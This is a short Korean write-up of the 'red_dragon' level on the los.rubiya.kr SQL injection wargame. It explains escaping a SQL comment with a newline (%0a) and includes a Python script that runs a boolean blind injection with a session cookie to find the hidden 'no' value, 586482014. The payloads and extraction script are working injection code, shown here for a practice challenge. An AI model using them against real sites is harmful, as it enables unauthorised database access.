red_dragon

첫 화면이다.

파이썬 코드를 짜면 아래와 같다.

id 조건을 무시하고, %0a 을 통해 주석을 빠져나와 no 값을 지정해준다.

id에 '||no=# , no에 %0a{변수} 를 넣은 셈이다.

import requests

URL = 'https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?'
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE = 'Hello admin'


def query(payload):
    cookies = {'PHPSESSID': PHPSESSID}
    r = requests.get(URL + payload, cookies=cookies)
    content = r.text
    return TRUE_PHRASE in content


# 586482014
def find_no():
    no = 0

    while query("id='||no>%23&no=%0a{}".format(no)) is True:
        no += 1000000
    no -= 1000000

    while query("id='||no>%23&no=%0a{}".format(no)) is True:
        no += 1000
    no -= 1000

    while query("id='||no=%23&no=%0a{}".format(no)) is False:
        no += 1

    print('no: {}'.format(no))


find_no()

실행결과, no는 586482014 이다.

https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?no=586482014 에 접속하면 문제가 풀린다.

Last updated

Was this helpful?